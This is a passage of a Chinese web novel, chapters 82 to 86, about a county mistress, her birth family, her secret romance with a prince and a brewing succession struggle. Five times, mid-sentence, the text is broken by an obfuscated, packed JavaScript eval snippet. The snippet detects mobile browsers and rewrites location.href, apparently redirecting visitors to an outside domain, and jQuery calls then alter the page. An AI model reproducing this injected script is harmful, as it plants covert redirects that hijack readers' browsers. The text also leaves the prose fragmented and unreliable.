这人简直乐疯了:“县主好阔绰呀!祝县主大人平安喜乐,万福金安!” 第二个抽中的,更多:“二两银子!感谢县主,县主是个大好人,祝您添彩添福、万事顺心!” “县主人美心善,祝您阖家欢乐、幸福安康!” 随着一个个抽了红封报出来的银子数目,一两银子竟然是最低的? 一百个红封,最少也有百两。 更何况,还有二两,五两的。 最高彩头竟然有十两! 她一随手就拿出了大几百两,用来打赏路人??? 桑文柏看得眼睛都冒火。 他们来要银子,目的是不管喻初晴是不是卷走侯府的银子,都要从她身上薅一层皮。 结果,他们没薅到半点,她反而当了散财龙女! 这难道不是故意打他们的脸,将他们的脸打肿了? 太气人了! 桑怀民怒气汹汹地道:“父亲,她将银子发给路人,都不愿意给我们!” “走,先回府!”桑文柏的面子里子都丢光了,哪里还待得住? 他甩袖离去。 张太鑫仿佛嫌他不够丢脸,双手扣在嘴边做出喇叭状,喊道:“南阳侯,下官会尽快审理此案,很快就会传唤您的,请您务必在京中!若下官找不到您,大概就只能求爷爷告奶奶了!” 求爷爷告奶奶,在这里的意思,可不是六神无主、胡乱求助。 而是—— 上告! 直接往上捅! 送到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446408|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇帝那里去,南阳侯又能跑哪里去? 还别说,喻初晴告的内容,其中就有桑怀民造谣喻初晴与太子有染。 这事儿,迟早是要送到太子那里,只要太子到皇帝那一说…… 啧啧。 南阳侯,危! 脑子是个好东西,可惜桑家人无法拥有! 桑家父子走后,那跟着来的三个官员,也都悄悄走了。 这脸丢的! 他们以后再也不会跟南阳侯来往! 喻初晴见差不多了,便对乔松海道:“乔大人,今日辛苦您了。这么热的天,还让您在这里受罪。” “哎,县主说的哪儿话!”乔松海摆摆手,反过来心怜她,道:“有这样糟心的养父、养兄弟,你过去五年在侯府过的,都是什么日子呀!早前一直看南阳侯人模人样的,真不知他竟只是披了一张人皮!” 喻初晴心道:狗急跳墙罢了。南阳侯即便想不急,我也会让他急的! 毕竟,他不急,她都师出无名,不是吗? 她嘴上道:“无事,都过去了。过往所有的一切,都是为了今日的美好遇见。” 她看向站在自己身后的父母兄弟,笑意真诚:“倘若不是他们非要让我这个假千金净身出户,我又怎么会遇上世上最可爱的血脉至亲呢!” 乔松海也笑了,道:“不错。你亲生父母这边,待你是真不错。要珍惜呀!” 张太鑫下令调度人手办差,完事儿了过来,听到这话也说道:“县主啊,还没说恭喜你呢!” “多谢张大人。”喻初晴还以微笑,道:“今日幸得乔大人、张大人站在公理之上主持大局,初晴感激不尽!” 她不说“感谢你们帮我”,而是直接把逼格拉升到“公理”的层面上。 不是偏帮,而是站在道德至高地! 无论是乔松海,还是张太鑫,都很舒服。 喻家众人看着,尤其是喻昔词,心中感慨不已:我这妹妹,当真是连三弟都比不上的七窍玲珑心! 大家也都告辞了。 那些领到了红封的看官,也都一一过来拜谢县主,纷纷离去。 不多时,门口的热闹散去,一家子回到了厅中。 第82章 小小的镯子,大有玄机 “晴晴办事的能力,让为兄刮目相看!” 第一个夸赞的,是喻昔词。 他很是赞赏地看着喻初晴,眉眼都是笑意:“你这处世手段,堪称完美!” 喻慕文也颔首:“我早便发现了,晴晴做事当真是滴水不漏。三哥自愧弗如!” “那是!也不看看,这是谁的姐姐!”喻今歌抚掌,掐腰大笑:“哈哈哈!谁能想到,我姐这么有先见之明,在五年前就种下了一颗叫防患于未然的种子!我只要一想到桑家那三个哭丧的脸,就忍不住想笑,哈哈哈!” 喻初晴倒是面色平淡。 虽说,人不要陷入自证陷阱。 但,她这种未雨绸缪的,例外! 她这种自证方式,堪称教科书级别,仅适用于一个常有忧患意识、并且早做打算的人。 若无提前做好的准备,自证陷阱绝不可跳。 大家笑着说了一会儿话。 喻惊鸿拿出一只盒子,道:“晴晴,先前你不是说想要一个镯子吗?爹已经给你刻好了。” 他把木镯子拿出来。 喻初晴一看,眼眸不由一亮。 这只木镯子,跟先前桑雪不要的那只,形状是一模一样的,木头用料也一样。 只是桑雪那只灰扑扑的,看着很古朴、不起眼。 而她这只,却是用砂纸打磨得油亮,上面的刻花精美细致,十分亮眼。 “怎么不一样的?”她拿在手里,疑惑地问:“爹,我看先前桑雪戴的那只,跟这只不同?” 白婉蓉给她做解释:“阿雪……桑雪以前是农家姑娘,怕她穿戴太精致的东西,会过分引人注目,遭到贼人惦记。所以你爹给她的镯子,是特意往朴素的方向做的。而你是县主,撑得起华贵的配饰,当然是越漂亮的越适合你啦!” 喻初晴恍然:“原来如此。” “用途,也不一样。你这一只,爹琢磨了一些新的思路,给你做得更细致了一些。”喻惊鸿把镯子重新拿在手里,道:“来,爹给你演示一下怎么用。” 失而复得的女儿,当然值得更好的。 即便把全天下的好东西捧到她面前,又嫌不够! 他找到了镯子上的机关:“按一下这里,这边的暗格就会打开,出来一根**;迅速按两下,出来的暗格是这个,里面藏着能让人一击毙命的**——你也可以换你想用的药进去;还有这儿……” 小小的镯子,大有玄机。 一圈竟然有六个暗格,对应不同的保命手段! “桑雪的那个,不是这样的吗?”喻初晴必须承认,自己多少有点对比的心思。 她在侯府,有表面上的富贵,衣裳首饰是华丽的,侯夫人对她其实还是挺舍得的。 可,没有得过真正的好东西。 桑雪得到了却不珍惜,让她心里膈应,忍不住想攀比一番。 白婉蓉笑着摸了摸她的头,道:“不一样的,咱们也没跟她说怎么用,也就让她当个配饰戴着。” “为何不说?”喻初晴这就不理解了:“既然是紧急保命的东西,送都送了却不说用途?” 这题喻今歌会! 他哼哼地道:“不是爹娘不想说!是她拿到手,就觉得一个木头镯子没什么好的,爹娘想跟她说什么,她不肯听!” “哦。”喻初晴算是明白了。 有些人没福气,是有原因的。 上帝对你伸出了手,你却一爪子拍了过去! “她都不是咱们家的闺女了,别说她了。”喻惊鸿将话题转移开来,说道:“晴晴,南阳侯他们今日吃了大亏,指不定以后会怎么报复你。现在他们还是明着来,万一以后使阴招,暗箭难防。晴晴,你要多加小心。” “好。”喻初晴乖乖地应了:“我会小心的。” 她迅速把镯子戴在手上。 嗯,果然合适她! 她把手上的金镯子和玉镯子褪了下来,随手送给了合欢和木棉,笑得十分开心:“喏,这个给你、这个给你!” 金玉都不要了,只愿意戴她爹亲手做的木镯子! 看见她这个样子,父母与兄弟六人,无一不是面带欣慰的笑意。 白婉蓉甚至有些热泪盈眶的感觉。 付出的真心能够立刻得到真心相待,真好。 喻初晴笑着笑着,忽然想到:“爹,既然你会做机关,能不能帮我做一些别的?也是可以在危急时刻……或者说,在自己失去了武力值的时候,一发击中的保命物件儿,最好是配饰?” “那还不简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446409|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单!”喻今歌又知道了:“爹的百宝箱里,多的是!” 身为小管家,他还真不是吹的! “有。”喻惊鸿笑道:“走吧,带你去瞧瞧可有喜欢的。” 一家子去了老两口的院子,喻初晴也就见到了喻惊鸿的百宝箱。 她一眼相中了一根男用的发冠簪子,还有一条皮革腰带! “咦?”她故作不经意,拿在手里问:“所以,我哥哥和小弟他们,身上的东西都是别有玄机的吗?” “差不多吧。”喻慕文失笑,道:“我们常在帝京的还好,没谁会盯着我们农户出身的人下手。主要是大哥常在江湖走动,他身上的都是宝贝。” 视财如命之人的宝贝,是金银珠宝; 跟他们所认为的宝贝,就不是一回事。 在他们眼里,有更多比财帛更宝贝的东西! 喻初晴颔首,拿着那两件东西就不肯放下了,试探性地问:“爹,这两件可以送给我吗?” 白婉蓉敏感地问:“这两件是男子用的,你要来做什么?” 闻言,喻昔词朝自家妹子看过去,眸光深沉。 只有他知道:她有相好的。 并且,她还不打算公开。 要这两件男子饰物还能是为何? 自然是送她相好那个! 不得不说,他这个妹妹当真是特立独行。 当然,她有与之匹配的本事! 喻初晴嘴巴一翘,道:“我也十七了,哪一日遇上心仪的男子,不是没可能呀?送一件见面礼,拿这东西送不挺好?” 她笑着道:“看着很古朴的东西,却可以用来检验人心。倘使对方是爱慕虚荣的,少不得要嫌弃我堂堂县主送一根木头簪子。若对方待我真心真意,即便我随便在路边捡块石头送给他,他都会高兴的!” 听言,几个男的都频频点头。 喻惊鸿更是道:“晴晴这般聪慧,爹可就放心了!可怕你被坏男人给骗了!” 白婉蓉却还是有些狐疑:“晴晴,你该不会已经有意中人了吧?倘使真的有,你不妨说说看,让你哥哥们相看相看,确定是个可以托付的人,再送东西也不迟。” 喻初晴:“……” 不得不说,还是女性更敏感! 第83章 会哭的孩子有奶吃 “娘。” 喻初晴反过来拍了拍她的手背,道:“为什么你要想把我托付给对方呢?我哥哥弟弟可都是说,希望我招个赘婿的!难道不是对方把后半生托付给我么?” 这话,炸裂了喻惊鸿与白婉蓉的三观。 夫妻俩都瞪大眼睛,觉得不可思议。 倒是几个儿子,都纷纷点头。 “我看行!”喻昔词第一次听说这个,立即赞成:“晴晴是我们喻家唯一的闺女,本就该招赘在家,不该外嫁!” 喻惊鸿一听这么说,想也不想就接受了:“既然你大哥都这么说了,那咱们就招赘!” 喻尚武的说法是简单粗暴:“将来晴晴找的男人,如果接不住我一锤子,我就给他一锤子!” 喻初晴:“……” 她想笑。 “那这个……” 她举了举手里的东西。 未来结婚的事,不如她想要的两件东西重要。 喻惊鸿怎么可能舍不得送东西给女儿,大手一挥道:“喜欢的就拿走,都拿走!” “就这两个好了。”喻初晴在父亲面前,就做一个娇娇的女儿,笑着说道:“以后有需要,再问爹要。” 想到萧风岚还被她藏在屋里,入夜后才会悄悄进宫去见皇帝,现在都已经晾了他大半天了。 她便道:“我有些困了,先回房午憩。这两日休息好些,有乔大人和张大人的帮衬,一定会尽快开堂的!” “嗯。”喻惊鸿肃整了脸色,道:“希望尽快把这件事处理掉,省得给你留隐患。” 喻初晴跟亲人们告辞,便离开了。 看着她的背影,白婉蓉说道:“晴晴像是有意中人了,但会是谁呢?她是一点儿也没表现出来,也没见她跟几个适龄儿郎走得近呀!” 他们这个女儿,交游广阔,但也几乎都是恪守礼节,没有任何一个有苗头的。 还是当娘的比较细心一些。 哥几个都愣住了。 喻昔词垂下眼皮,并不说话。 喻今歌摸了摸额头,问:“该不会是太子殿下吧?” “不会。”喻慕文这点倒是知道:“我直接问过晴晴,她否认了。” “直接?”喻今歌冲他三哥比了个大拇指。 喻尚武则是道:“晴晴看着也不像少女怀春的样子,娘你是怎么想到这上面去的!” 喻昔词:“……” 虽然**妹妹的相好是谁,她也的确没有任何少女怀春的样子,反而面对什么事都淡定自若、从容不迫。 但…… 她的确有相好! 即便是谈到那个男人,她也没有任何小姑娘坠入爱河的羞涩感、幸福感,反而依旧冷静理智。 而且,听听她说的话—— 不是她要对男人托付终身,而是让男人托付终身给她? 倒反天罡了属于是! 但是呢,这种事放在他们喻家,有何不可? 他淡淡说了句:“只要不是萧家人,其他的只要她喜欢、真心对她好、品行端正,无论是什么身份都可以!” 喻慕文失笑:“大哥,您这要求,可不低呀!” “只要求还高?”喻今歌瞪眼:“我姐那么好!” 众人都被他逗笑了。 主院。 趁着喻初晴在外面办事,萧风岚补了一觉。 醒了后,听了自己的暗卫禀报了一些事,才问外间发生的事是什么结果。 不是他不关心。 而是晴晴办事、他太放心了! 很多时候他都怀疑她是不是个十几岁的小姑娘,为什么能把所有事打理得井井有条,所有事都办得干净漂亮! 更何况,她那父母、那仨儿宠妹狂魔一姐控,有他们在,还有他啥事儿? 刚听完讲述,就听到喻初晴回院的动静。 他朝暗卫挥了挥手:“快走快走,别妨碍本王跟晴晴单独相处!有点眼力见,行不行啊!” 暗卫唇角一抽,飞身离去。 不多时,喻初晴进来了。 “晴晴!”萧风岚立即迎了上去,猛地抱住她,将脸迈进她的颈间,娇娇地道:“你怎么去了这么久,两个时辰有了吧?我被你丢在这里都快长草了!你给我浇点水看看,说不定能长出蘑菇来!” 喻初晴:“……” 会哭的孩子有奶吃。 她表面嫌弃,其实心里还是挺受用的。 拉着他坐下,她把从她爹那里要来的两件东西,放在桌上:“喏,送你的,别哭哭啼啼的了!” 萧风岚眼眸灿亮:“送我的?” 精致如画的脸,瞬间亮得像春花浪漫! “嗯。”喻初晴将簪子和腰带的用法,都给他演示了一遍:“这可是我爹亲手制作的。” 萧风岚整张脸都亮了! “瞧你那没见过世面的样子!”喻初晴笑话他:“我以前是没给你送过东西吗?” 萧风岚一边笑得合不拢嘴,一边哼哼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446410|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唧唧地道:“这怎么能一样?从前你送我的,都是随手丢一把银子就能买到的,我缺吗?这些好宝贝,可是有钱也买不到的!” 越说,他面上的亮光越明显:“更何况,这可是我泰山大人亲手做的!” 喻初晴也笑了,还是要挤兑他:“别乱扣头衔哈,让我爹知道了,打不断你的腿!” 两个人在一起能长久,就得靠三观合拍。 价值观差不多,很重要。 萧风岚立即就把腰带往自己身上箍,还没扣好呢,低下头看向喻初晴:“晴晴,你给我换上!” 喻初晴给他把头上的玉簪换成了木簪,道:“你出门在外的时候,这些东西不要离身。但以后回京中了,就不准戴身上。免得被我哥我弟他们看见了,一眼认出来!” 提到这个,萧风岚就不得不问:“你什么时候才给我名分啊!” 喻初晴是一点儿也不回避这个问题:“不确定,再看看。” 萧风岚:“……” 他试探性地道:“要不……等我解决了南陵的事……响马盗的事交给我,是狗皇帝绝对不会错过的事!所以,等我把响马盗的事解决了,你也从祖籍回来了,我们就成亲,好不好?” 喻初晴是拒绝的:“不好。” “为何?”萧风岚瞬间垮了脸。 喻初晴揉了揉他的脸,道:“凡事呢,不要老是放话……什么等到什么时候就怎么怎么样。我不喜欢这样,有点不吉利!” 经典台词: 等**完这票,就金盆洗手! 等我办完这件事,我们就结婚! 等我…… 等毛线,通常要出事! 她安抚地冲他说道:“不定时间,只看心情。结婚是我们俩的事,得双方都同意才行。什么时候我想成亲了,你也想的话,我们就成亲!不听你的等等等,我不等!” 其实,结婚还是两家人的事。 她不确定以后喻家这边的难关要怎么解决,但总的来说…… 应该不太好解决! 不过呢。 没有解决不了的问题,只有解决不了问题的人! “所以,你现在是在考虑成亲的事了。”萧风岚多精啊,立即抓住了重点:“肯定会跟我成亲,只不过是时间的关系!” 喻初晴:“……” 草率了! 不过既然话到这个份上,他爱咋想咋想吧,无所谓了! 当晚,萧风岚进了宫面了圣。 第84章 她长嘴,他更长嘴,浑身都是嘴 萧风岚跟皇帝谈了些什么,喻初晴没过问,她有自己的很多事要忙。 她与萧风岚,都是独立的个体。 即便有朝一日他们俩结了婚,双方整合成一个团体,她也没打算过于依赖婚姻关系。 可以为对方做出一些让步,但必须随时保持固有的自我。 换一方面说,萧风岚现在喜欢她,喜欢的是现在的她。 倘使她割舍掉自己的某一部分去迁就他,为他失去自我,说不定某天他就变心了。 她不是这个时代的人,无法像本土女子那样,哪怕再不甘心,也会接受丈夫纳妾。 在她喻初晴看来,男人那条东西捅进别人那里,就是脏了! 就好像一张白纸上,踩了个脚印。 她就只想毁灭掉! 比起男人来说,自我才是最可贵的。 这边正想着,萧风岚回来了。 “都这么晚了,你还在挑灯夜战!” 见她依然坐在油灯下翻阅书籍,他一进来便把她手里的书册给夺走。 夹了片书签,丢在一边。 旋即,像个热情的大狗狗,亲亲热**钻进她的怀里! 一缕异于寻常的香味飘进她的鼻尖,她怔了怔,问:“除了皇帝,还见了谁?” “啊?”萧风岚整个人愣住,从她怀里抬起头来,茫然地道:“什么见了谁?没有呀!” 喻初晴一瞬不错地盯着他的眉眼。 他大概率是没有说谎的,因为没必要。 但,这狗东西惯常真真假假的,如果真的说了谎,她也未必能分辨出来! 萧风岚满脸不解,坐直了身子看了一圈自己浑身上下,问:“我有什么问题吗?” 喻初晴不是个喜欢把事情放在心里猜的人。 她善于谋算,但在与最亲密的人相处的时候,她一直认为:长嘴是人与人相处的关键。 大多数的误会,都是因为不长嘴造成的。 什么爱你在心口难开,理解、尊重、祝福。 自己选的路,跪着也要锁死! 因为不把话说清楚造成的误会、引发的苦难,也老实受着呗! 所以,她直截了当地告诉他:“你身上怎么有股子女子喜欢用的香料的味道?总不能是皇帝在跟后妃睡觉的时候,你去跟他夜谈沾上的?” 萧风岚低头嗅了嗅:“我没闻出来,还得是你的鼻子,真灵!” “确定没见任何身上擦了香粉的女子?”喻初晴又问。 萧风岚满脸坦荡:“首先,我没有夜会其他女人!其次,我本就是秘密入宫,再去见别人,我不是给自己找事吗?” “最后!” “我都有你了,什么女人能比得过晴晴啊?” 他认真回忆了一下,道:“不过,我去见皇帝的时候,好像他身上的龙涎香有点浓,好似想要掩盖住其他味道似的。不确定你闻到的,是不是从他身上沾过来的?皇帝在见我之前在干什么,我也不晓得、也不能问啊!” 喻初晴神情严肃了起来:“莫非有什么问题?” “瞧你。”萧风岚看着她若有所思的模样,很是逗乐:“怀疑我有鬼,想要抓奸的神情,都没有现在严肃!” 喻初晴没理会他的耍宝,仰头认真地对他说道:“皇上今年也没有选秀。” 萧风岚颔首:“的确没有。他的说法是,后宫已经足够充实了。各地可送名单来,给太子、其他未婚的皇室子弟选妻。” “哦。”喻初晴表情淡淡:“包括明年初就满二十的你。” 萧风岚一顿。 旋即失笑:“你吃醋吗?” “我不吃醋,直接喝醋。”喻初晴面无表情地道:“喝醋有利于保养,不仅抗氧化保养肌肤,还能保养心血管之类的。” 萧风岚:“……” 但喻初晴还是把话题拐回去:“萧风岚,让人去查一查,皇帝是不是有了新的美人……偷偷养的那种!” 皇帝是天底下最能光明正大地养女人的,想养几个就几个,只要够不要脸,想要谁就是谁——小妈、儿媳妇都能抢过来! 他为何要悄悄养? 她问:“深夜弄了一身女子用的香粉,用龙涎香遮盖。起居注却没有记录他宠幸了谁,这难道不是问题吗?” 面对她严肃的提问,萧风岚也认真起来,道:“好,我让人去查一查。” “如今皇朝安稳,百姓安居乐业。”喻初晴虽然不想搅和进皇家的事里,但她比谁都希望环境稳定。 只有稳定的环境,她才能安然做自己的事。 倘若当朝皇帝出点什么事,权柄非正常交接、皇权是通过暴力血腥更迭的,风云变色、天下大乱,她就会受到影响! 所以,她对这件事非常看重:“不但要你去查,我还要送消息去给太子,让太子去查,并且早做打算。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446411|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在她的立场,只要太子顺利登基,那就还是稳定的。 但—— 若是皇帝**,太子没能上位,而是皇子们萧墙之乱,到时候跟太子拴在一起的她,就大条了! “虽然吧……”提到萧景明,萧风岚面露幽怨地看着她:“我知道你不会喜欢太子的,但你提到他,我还是忍不住不开心。晴晴,除了与你有血缘关系的,任何男人靠近你,我都不高兴!” 喻初晴不由一笑。 她长嘴,他更长嘴,浑身都是嘴! “那怎么办呢?”她抬手,双手揉住他的脸,笑着问:“我又不是安于家室的人,从一开始你就知道啦!” 萧风岚更不高兴了:“是,从一开始就知道你是个不安分的。看见长得好看的,就走不动道儿,非要弄到手不可!我好好一黄花大闺男,就这么被你嚯嚯了!” 喻初晴被逗得没忍住哈哈大笑:“嗯,那你可要想办法,留住我的宠爱,别让我有机会把目光投向别人!” 当初她就是在中了药的情况下,少见的不理智,被他美色迷惑,便上手了。 骗他说会负责的,结果办完事儿后,她就说:如果他要去南阳侯府提亲,她就**。 后来几次见到,他都是很幽怨的,各种绿茶她。 偶然一次两人独处,她没忍住问他要不要做地下情人,只欢不爱、只做不婚。 他没答应,但她半哄半骗地,又把他拐上了床。 第三次就是他自己送上门,表示愿意答应她的条件。 或许,这也是他在这段关系中很没有安全感的主要原因? 人性如此,太容易得到的不珍惜,自己跪舔来的万分珍贵。 萧风岚哼了一声,不说话。 “好了。”她把心思转回来,道:“别老吃不相干的醋。我即便要跟别人好,肯定会先跟你分了。” 这话,萧风岚更受不了了。 猛地过来抱住她,低头狠狠咬住她的唇! 一番折腾,喻初晴累及又睡过去。 因为他要赶路,没折腾得太累。 早上喻初晴醒来,他已经走了。 只有他留下的一封简信,寥寥数语、极尽相思。 大意是:人还没走,就开始想她了! 她不由失笑。 罢了,希望他顺顺利利,而她呢—— 很快等到了开堂审理的这一天! 第85章 争储争斗已然拉开序幕 早晨用过膳后,喻初晴特意来到喻昔词住的院子。 喻昔词不太喜欢身边有很多人,所以他的屋里是没有下人伺候的,只有院子里有两名粗使小厮。 此时,他在屋里看手底下的人传来的信件。 “大哥,忙着呢?” 看见她进来,他微笑,道:“如今靠了妹妹这棵大树,不用挑着货担走街串巷了,没什么忙的。” 喻初晴知道,他是谦虚的说法。 她一个甩手掌柜,手底下都有那么多事。 一个家族的领头羊,怎么可能不忙? 但她并不揭穿,走过去坐下,道:“大哥,我有件事想问你。” 见她神情有些严肃,喻昔词当即把手里的东西放下,走过来与她一人一张圈椅坐下。 合欢把茶水送上后,便退下了。 屋里只剩下兄妹俩。 “大哥从南方回来帝京的途中,是不是经过了皇家南陵?”喻初晴直接切入正题。 她的干练,喻昔词本就很欣赏,也是不做任何拐弯抹角应答:“不错。” 喻初晴又问:“可有遇见响马盗?” 喻昔词的神色瞬间变得肃然起来,“有!” “如此异动,我岂会不知?” 他认真说道:“这支响马盗成长速度非常之快,原是一窝山匪,日常拦路**。后来不知怎么的,得了一些隐藏的势力相助,分散成了七八个分支,隐瞒过了地方官府的耳目。” “今年开春的事,这些分支已经整合在一起,骤然形成规模、声势浩大!” “我听说,他们把皇家南陵给盗了!” 听他说到这里,喻初晴接话:“盗墓,让他们有庞大的资金注入。” “不错!”喻昔词颔首:“他们日前在南陵做了个鬼把戏,剑指东宫!你是不是听说了这个?” 喻初晴道:“是的。据说弄出了异象,说当前储君德不配位。消息不可能没传回京中,但,被盖住了。” “如此说来。”喻昔词一眼看破:“当朝皇帝是相当满意当前的储君的。” 他的**直觉,当真是敏锐。 这个大哥啊,不愧是家族继承人,好强! 不仅喻昔词对喻初晴赞赏,喻初晴对他同样也是赞誉有加。 她说道:“当前看,储君地位十分安稳。但,天家的权谋,通常都是隐藏在水面之下的。表面上的风平浪静,下面却是暗潮汹涌。风云诡谲,瞬息万变!” 喻昔词便好奇了:“你专门找我问响马盗的事,莫不是因为你跟太子目前的利益捆绑,要维护当前储君的地位?” “大哥眼光毒辣。”喻初晴笑了笑。 聪明人之间的对话,从来无需多加解释。 她直接说道:“当前的皇子中,还是萧景明最靠谱。我便是不希望其他人上去,才会在他遭**杀的时候,救他一命!只不过,救了太子之后,就不得不利益捆绑了。” 要说,让她做好事不留名,那还是不行的。 救东宫的恩情,只要她运用得当,与被捆绑相对比,利大于弊。 喻昔词问:“那你可是知晓,何人刺杀的他?” “不确定。”喻初晴应答:“没有直接证据,但我怀疑是三皇子党派,再不济,就是五皇子。除了他们俩,没有别人!” 为了长远关系的发展,她不好直接问太子,只能靠自己推测、探查。 想了想,她又补充:“我更是怀疑,已经有一只不知名的大手,伸向皇帝了。” “在很多人尚未知晓的时候,争储争斗已然拉开序幕。而南陵的异象,应是同**羽所做。刺杀太子失败,便用**攻势。” “原先我没想到,响马盗的事竟然已经不是猖獗足以形容。” “现在听大哥说了这些……” 她抬眸看向当喻昔词,道:“大哥,这一系列的操作,倘使萧景明应对不当,是真的会被拉下来的!是吧?” 响马盗作为类似于起义军的存在,背后必定有大势力操控。 有一件事可以推断出来:随着这支起义军的壮大,这个幕后势力的资金已经不是很充足,才会去盗墓! 皇家陵园的修建,岂是这么容易盗的? 初步猜测:皇家内鬼! 喻昔词没有对她的问题做肯定的答复,只道:“目前看来,响马盗异军突起、势如破竹。但,再厉害,目前才五千多人。只要朝廷派出得力干将,在响马盗刚成长、还没成熟的时候强势**,还是可行的。” “师出无名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446412|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”喻初晴一个词儿点破。 朝政的事,不是小孩子过家家。 打不打、怎么打、打多少、打多久……每一样都需要仔细斟酌。 否则,一着不慎便会满盘皆输! 响马盗是刀口舔血的,五千人,等于五千精兵。 不是一般的朝廷军队一对一能打得赢的。 她又说了句:“而且,如果地方匪患跟南陵异象结合在一起,对准了太子。太子已经相当被动了!” 喻昔词颔首:“即便是地方势力集结成军,朝廷完全可以直接打,却依然要找一个好听的牌面上的情由,才能出兵。” 喻初晴明白,这是玩**的手段。 要不怎么说,政客最是虚伪呢? 知道详情后,心里难免有些忧虑。 萧风岚那狗东西,打算以身入局,虽然她相信,以他的精明保护好自己没有问题。 但,不怕一万只怕万一! “晴晴,倘使朝廷能尽快出兵的话,这件事解决起来也容易。”喻昔词说道:“我们这段时日可以暂时离开帝京,回祖籍去。正好,可以避开这阵混乱,风波停后,你再回来也不迟。” 他已经默认喻初晴不会留在祖籍了。 当然,喻初晴虽然嘴上没说肯定要回帝京,但她的各方面都表现出来这个意思。 喻初晴怔了下,道:“这件事倒是不着急,南阳侯府很快就能打落了。待我把那张匾额摘下来,我们肯定是要回祖籍的。” 顿了顿,她又道:“不过,离开之前,我还是想先问问太子那边,是否需要相助。” 她如果有喻家的后盾,太子是否垮台,都威胁不到她的性命。 但—— 她也并不是很愿意放弃五年来辛苦经营的这一切! 所以,只要萧景明不搞她,她就愿意支持萧景明,而不是避开这场祸事。 倘使萧景明最后获得了胜利,避祸的她回来,也会失去新帝的心! 喻昔词点点头:“好的。为了迎你回家,大哥暂时放下手边的大部分事情,等你这边事情办妥。” 喻初晴冲他笑了笑,道:“谢谢大哥体谅!” 合欢在外面敲门:“县主,开堂的时间即将到,咱们该出发了!” 第86章 公审大会 南阳侯府。 桑文柏和桑怀民,也要出发去京兆府了。 不去,衙役就会来请! 出门的时候,侯夫人哭得不能自已:“你说你们为什么非要闹到这个样子?” 老太太养了一段时间的病,这几日有了一些精神。 不想家中又遭遇了这个事,一整天都是郁郁寡欢,更是恨**喻初晴。 “这死丫头吃里扒外,离开了侯府竟然还对侯府出手,忘恩负义、寡廉鲜耻。她还小的时候,就应该掐死她,左右是个丫头片子!” 听到老夫人的骂声,侯夫人还是头一次顶嘴婆母:“婆婆,依我看就是你们对初晴太坏了,赶走她就赶走她吧,你们非要追杀她!初晴本来是个挺善良的孩子,她人很好的!” “放屁!”桑怀民才不肯听这话:“母亲,我们都知道,桑初晴那个**说愿意给你养老。但你也不能因为这个,就把她当菩萨供着!她只说管你的养老,可没说要管到什么程度。现在闹成这样,你倒是有她养老了,但我们一大家子怎么活?你怎么能这么自私!!!” 自私的人,才总会觉得别人自私。 侯夫人竟然被亲生儿子这样说自己,气得差点要晕过去。 然而晕不了,她只能是泪水涟涟,抱怨说道:“行,我自私!我只知道,如果不是你们非要去闹她,她也不会这样反击的!不然,过去五年她早就反了你们了!要不是你们非要赶走她,我还能让她帮我做很多事!” “你们就闹吧!闹得家破人亡就好了!” 说完这话,她转身跑出厅门。 不管了! 走在庭院里,侯夫人唉声叹气的:“你说,这个家怎么就变成了这个样子?” 嬷嬷不敢说话。 现在这个样子,说什么都是错。 侯夫人自顾自地念叨:“上次老二气得搬走了,就没回来过,好像不要这个家了。老三的腿伤都还没有完全好,老大又要去作死。” “他们安安分分的,给初晴低个头,不就好了?” 